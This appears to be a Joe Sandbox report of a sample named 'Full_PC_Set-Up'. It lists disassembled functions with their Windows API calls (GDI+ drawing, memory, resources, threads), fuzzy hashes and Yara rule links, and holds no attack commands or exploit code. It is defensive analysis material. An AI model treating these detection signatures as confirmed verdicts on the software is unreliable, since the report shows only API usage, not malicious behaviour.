Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Load$CursorLibrary$CloseCopyDirectoryFreeIconQueryValueWindows_wcsnlen
String ID: \winhlp32.exe
API String ID: 2139129697-695620452
Opcode ID: f7e9d8b42a24870216ba35f0b4df3b11b02302cb64d11abdc7e83f547e2c2199
Instruction ID: 9cf056e2eb377a8778fcf67688a08bcdbf39bcf3c725379153e5df0be1060fad
Opcode Fuzzy Hash: f7e9d8b42a24870216ba35f0b4df3b11b02302cb64d11abdc7e83f547e2c2199
Instruction Fuzzy Hash: 5C51AD712007029FD721DF28EC45B6AB3E8FF88714F00462EF945D7290EBB4A915CB92

Function 002E5580 Relevance: 16.7, APIs: 11, Instructions: 171windowfileCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromFile.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,004CBB00,000000FF,002E580A,?), ref: 002E55D3
GdipGetImageWidth.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,004CBB00,000000FF,002E580A), ref: 002E55F5
GdipGetImageHeight.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CBB00), ref: 002E5616
GdipBitmapLockBits.GDIPLUS(?,?,00000001,0026200A,?,?,?,?,?), ref: 002E5663
GdipBitmapLockBits.GDIPLUS(?,?,00000002,0026200A,?,00000000), ref: 002E56D5
GdipDeleteGraphics.GDIPLUS(?), ref: 002E56F8
GdipDisposeImage.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CBB00,000000FF), ref: 002E5775

Part of subcall function 002C0330: GdipGetImageWidth.GDIPLUS(?,00000000,?,002E563D,?,?,?,?), ref: 002C0341

Part of subcall function 002A4310: GdipGetImageHeight.GDIPLUS(?,00000000,?,002E5636,?,?,?,?), ref: 002A4321

GdipBitmapUnlockBits.GDIPLUS(?,?,00000002,0026200A,?,00000000), ref: 002E5734
GdipBitmapUnlockBits.GDIPLUS(?,?,?,?,00000002,0026200A,?,00000000), ref: 002E5742
GdipDeleteGraphics.GDIPLUS(?,?,?,?,?,00000002,0026200A,?,00000000), ref: 002E5753
GdipDisposeImage.GDIPLUS(?,?,?,?,?,?,00000002,0026200A,?,00000000), ref: 002E5759

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Image$Bitmap$Bits$DeleteDisposeGraphicsHeightLockUnlockWidth$CreateFileFrom
String ID:
API String ID: 2394250370-0
Opcode ID: 1879e294de683c86370fde0094da20e4a10b75cb9ce506bfd00e2b49d6858158
Instruction ID: a9c01f6bb7cfa3f4300fd7541faf1a3dd14500303a65d0e140e254a6180be990
Opcode Fuzzy Hash: 1879e294de683c86370fde0094da20e4a10b75cb9ce506bfd00e2b49d6858158
Instruction Fuzzy Hash: 1C51AD715287819FC720EF64C881A6FB7E8FF89304F540A2DF58897211EB74E958CB92

Function 003701A5 Relevance: 16.6, APIs: 11, Instructions: 106memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,00000000,?,?,?,?,?,003705FB,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 003701B8
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,003705FB,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 0037020E
GlobalHandle.KERNEL32(?), ref: 00370217
GlobalUnlock.KERNEL32(00000000), ref: 00370221
GlobalReAlloc.KERNEL32(?,00000000,00002002), ref: 0037023A
GlobalHandle.KERNEL32(?), ref: 0037024C
GlobalLock.KERNEL32(00000000), ref: 00370253
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,003705FB,00000004,0036B4CF,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000), ref: 0037025C
GlobalLock.KERNEL32(00000000), ref: 00370268
_memset.LIBCMT ref: 00370282
LeaveCriticalSection.KERNEL32(?), ref: 003702B0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: e4f4abf38f12ca3b9f406c4c2f359bffdedf00e0aa52ff3c708eb24f74d93acf
Instruction ID: c884c379df1a8175ff5b7d71fa0ffb35b98501b3f9247090a3bb848d292f3716
Opcode Fuzzy Hash: e4f4abf38f12ca3b9f406c4c2f359bffdedf00e0aa52ff3c708eb24f74d93acf
Instruction Fuzzy Hash: C331BE72A00704EFD7359F64CC8DA5ABBE9FF44304B15882AE54AD7652DB74E810CB54

Function 002D5A10 Relevance: 16.6, APIs: 11, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 002D3C10: GetSysColor.USER32(00000014), ref: 002D3C53
Part of subcall function 002D3C10: GetSysColor.USER32(00000010), ref: 002D3C5D
Part of subcall function 002D3C10: GetSysColor.USER32(0000000F), ref: 002D3C67
Part of subcall function 002D3C10: GetSysColor.USER32(00000012), ref: 002D3C71

GetSysColor.USER32(0000000F), ref: 002D5A7F
GetSysColor.USER32(00000014), ref: 002D5A89
GetSysColor.USER32(00000010), ref: 002D5A93
GetSysColor.USER32(0000000F), ref: 002D5A9D
GetSysColor.USER32(00000010), ref: 002D5AA7
GetSysColor.USER32(00000012), ref: 002D5AB1
GetSysColor.USER32(00000011), ref: 002D5ABB
GetSysColor.USER32(0000000D), ref: 002D5AC5
GetSysColor.USER32(0000000E), ref: 002D5ACF
GetSysColor.USER32(00000005), ref: 002D5AD9
GetSysColor.USER32(00000008), ref: 002D5AE3

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Color
String ID:
API String ID: 2811717613-0
Opcode ID: 1e0c0d2dfc9cfbdc4842317e103ec12058d77a5a4c557c7fb249cbe1f6be20be
Instruction ID: f8470346f32dc6152c1ace0d1013ccf927ba649ab3f89e6affe8817ff5527621
Opcode Fuzzy Hash: 1e0c0d2dfc9cfbdc4842317e103ec12058d77a5a4c557c7fb249cbe1f6be20be
Instruction Fuzzy Hash: 3F210E70A44716AAD714DF71880ABDAFFA0FB44710F00462BE6689B280DBB96154DFD1

Function 003FF5D0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 324windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001304,00000000,00000000), ref: 003FF61E
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 003FF633
GetDC.USER32(?), ref: 003FF644
GetTextMetricsW.GDI32(?,?), ref: 003FF686
SendMessageW.USER32(?,0000133C,00000000,00000002), ref: 003FF6C2
GetClientRect.USER32(?,?), ref: 003FF7C1
SendMessageW.USER32(?,0000133D,?,?), ref: 003FF97D
ReleaseDC.USER32(?,?), ref: 003FF9A4

Part of subcall function 003FEE10: GetTextExtentPoint32W.GDI32(00000000,?,?,?), ref: 003FEE2C

Strings

..., xrefs: 003FF874, 003FF8AD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$Text$ClientExtentMetricsPoint32RectRelease
String ID: ...
API String ID: 1395425517-440645147
Opcode ID: f524649c60d4fcfe03e1aaa4ed6b0f57217124351f2452aab10e252682ad22af
Instruction ID: 7cb4d7fec6189814d9d73cf02a2c38fa566b8d60fc764b42cd5ae80108bae208
Opcode Fuzzy Hash: f524649c60d4fcfe03e1aaa4ed6b0f57217124351f2452aab10e252682ad22af
Instruction Fuzzy Hash: C1C18A712083059FD721DF28C884B6AB7E5BF89354F158A6DF9998B392C770E804CB92

Function 0029CFF0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000008,00000000,00000000,52100000,?,?,00000000,00000000,00000000,004D44A2,?,?,00000000,?,00000000,00000000), ref: 0029D047
GdipCreateFontFamilyFromName.GDIPLUS(Tahoma,00000000,00000000,00000008,00000000,00000000,52100000,?,?,00000000,00000000,00000000,004D44A2,?,?,00000000), ref: 0029D060
GdipAlloc.GDIPLUS(00000008,00000008,00000000,00000000,52100000,?,?,00000000,00000000,00000000,004D44A2,?,?,00000000,?,00000000), ref: 0029D071
GdipCreateFont.GDIPLUS(00000000,?,00000000,00000002,00000000), ref: 0029D0A5
GdipAlloc.GDIPLUS(00000008,00000008,00000008,00000000,00000000,52100000,?,?,00000000,00000000,00000000,004D44A2,?,?,00000000,?), ref: 0029D0BC
GdipCreateFont.GDIPLUS(00000000,00000000,00000001,00000002,00000000), ref: 0029D0F0
GetParent.USER32(?), ref: 0029D12F

Strings

Tahoma, xrefs: 0029D055

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$AllocCreateFont$FamilyFromNameParent
String ID: Tahoma
API String ID: 2555957333-3580928618
Opcode ID: 86f2b1cee5da4a0a15c78ac2b0276687247e58341d16cf8615b0baed071e7f7a
Instruction ID: d4c7665004861ce6c21fc7816731ad9c5f8ac2bd752e91cb7a7c7b7310050e27
Opcode Fuzzy Hash: 86f2b1cee5da4a0a15c78ac2b0276687247e58341d16cf8615b0baed071e7f7a
Instruction Fuzzy Hash: C8516A71614702AFD711DF65C881B1BBBE4FF89700F048A2DFA99DB291DB70E8158B51

Function 002AD560 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002AD58E

Part of subcall function 004B74F0: _memset.LIBCMT ref: 004B7514
Part of subcall function 004B74F0: _memset.LIBCMT ref: 004B753D
Part of subcall function 004B74F0: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004B7579

_memset.LIBCMT ref: 002AD5B6
swprintf.LIBCMT ref: 002AD614

Part of subcall function 003829DD: __vsprintf_s_l.LIBCMT ref: 003829F1

swprintf.LIBCMT ref: 002AD65E
_mbstowcs.LIBCMT ref: 002AD678

Strings

%s %s %s, xrefs: 002AD605
%s %s, xrefs: 002AD64F
(, xrefs: 002AD5BE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$swprintf$CreateFile__vsprintf_s_l_mbstowcs
String ID: %s %s$%s %s %s$(
API String ID: 3819695707-3716194655
Opcode ID: 0a8d3b4ee88b7b1281a0da972e836b93070acce3a4ba4b300bc516bb493a5fb8
Instruction ID: e0b263373b5ac386a4910d2ff1411a0fffde4a828be0ce1355e9ed7f11b9f188
Opcode Fuzzy Hash: 0a8d3b4ee88b7b1281a0da972e836b93070acce3a4ba4b300bc516bb493a5fb8
Instruction Fuzzy Hash: B031E271518340AFD235EB50DC52FEBB3D8AB89700F40894DF589860C1FBB0A608CBA3

Function 0030B160 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 83windowthreadCOMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0030B16B

Part of subcall function 00383938: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,0030B170,?,00000000,?,?), ref: 00383943
Part of subcall function 00383938: __aulldiv.LIBCMT ref: 00383963

CreateThread.KERNEL32(00000000,00000000,0030AEF0,?,00000000,?), ref: 0030B18B
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0030B1B5
TranslateMessage.USER32(?), ref: 0030B1D1
DispatchMessageW.USER32(?), ref: 0030B1D8
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0030B1EB
__time64.LIBCMT ref: 0030B1FA
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0030B230

Strings

scan time: %f second, xrefs: 0030B222

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Message$Time__time64$CloseCreateDispatchFileHandleSystemThreadTranslate__aulldiv
String ID: scan time: %f second
API String ID: 3432590987-1318888174
Opcode ID: 5c4158e60db8923f3071f15566835ad54c4cf28a841d73d74fda41c9fc53db3b
Instruction ID: 64875fececbc6fe738e9d2bb8766b0351f8d59b364f6d7c1c95514b9af6523b3
Opcode Fuzzy Hash: 5c4158e60db8923f3071f15566835ad54c4cf28a841d73d74fda41c9fc53db3b
Instruction Fuzzy Hash: 5421D3B1241301ABD214EB54DC82F6BB7A8EFC4B14F404929FA45962C1EB71F919C766

Function 002AD1A0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,PNG,5EBD7D5F,?,Tahoma,?,?,?,004CC64A,000000FF,002E20D2,diskicon.png,00000000,?), ref: 002AD1D3
LoadResource.KERNEL32(?,00000000), ref: 002AD1DD
LockResource.KERNEL32(00000000), ref: 002AD1E6
SizeofResource.KERNEL32(?,00000000), ref: 002AD1F0
GlobalAlloc.KERNEL32(00000000,00000000), ref: 002AD1FC
CreateStreamOnHGlobal.OLE32(?,00000000,?), ref: 002AD26E

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

__CxxThrowException@8.LIBCMT ref: 002AD251

Strings

Tahoma, xrefs: 002AD1B0
PNG, xrefs: 002AD1CC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$Global$AllocCreateException@8FindLoadLockSizeofStreamThrow_malloc
String ID: PNG$Tahoma
API String ID: 1341983375-819389209
Opcode ID: 613c264c7b850735cfe475f82ec4ef3415ab8758b4da425583694226b1a09862
Instruction ID: 5a7e9724463ef40ce4f2c13ef8fddcebfb9edf4491ab07f790e5d121f53c4bdd
Opcode Fuzzy Hash: 613c264c7b850735cfe475f82ec4ef3415ab8758b4da425583694226b1a09862
Instruction Fuzzy Hash: BC2174B1504701AFC310DF65DC88E2BB7E8FB89B64F104A2EF599D3650D7749805CB65

Function 003830E6 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0038311B
__calloc_crt.LIBCMT ref: 00383127
__getptd.LIBCMT ref: 00383134
__initptd.LIBCMT ref: 0038313D
CreateThread.KERNEL32(00000000,pl5,0038306F,00000000,00000004,00000000), ref: 0038315A
ResumeThread.KERNEL32(00000000,?,?,?,00357908,00356C70,00000000,?), ref: 0038316A
GetLastError.KERNEL32(?,?,?,00357908,00356C70,00000000,?), ref: 00383175
__dosmaperr.LIBCMT ref: 0038318D

Part of subcall function 00388F2E: __getptd_noexit.LIBCMT ref: 00388F2E

Part of subcall function 00381730: __decode_pointer.LIBCMT ref: 0038173B

Strings

pl5, xrefs: 00383150

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit__initptd
String ID: pl5
API String ID: 1359767662-877351370
Opcode ID: 71709a02a084d8b3e760c66e60573867eb54697d9b3f68f2f5822f7999a2b7d1
Instruction ID: 1bd9e88f5848f86ce9b3852895a6c3732e1246aadc41913f812906fd15fa7b32
Opcode Fuzzy Hash: 71709a02a084d8b3e760c66e60573867eb54697d9b3f68f2f5822f7999a2b7d1
Instruction Fuzzy Hash: 73110472501300BFD7127FB59C4E89E7BA9EF84B34B6101AAF5169B2C1DB708A008761

Function 003A74E0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 65COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(5EBD7D5F,5EBD7D5F,PNG,?,?,003ACAD4,?), ref: 003A7505
LoadResource.KERNEL32(5EBD7D5F,00000000,?), ref: 003A7515

Strings

P, xrefs: 003A74F6
PNG, xrefs: 003A74EA
G, xrefs: 003A7500
N, xrefs: 003A74FB

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
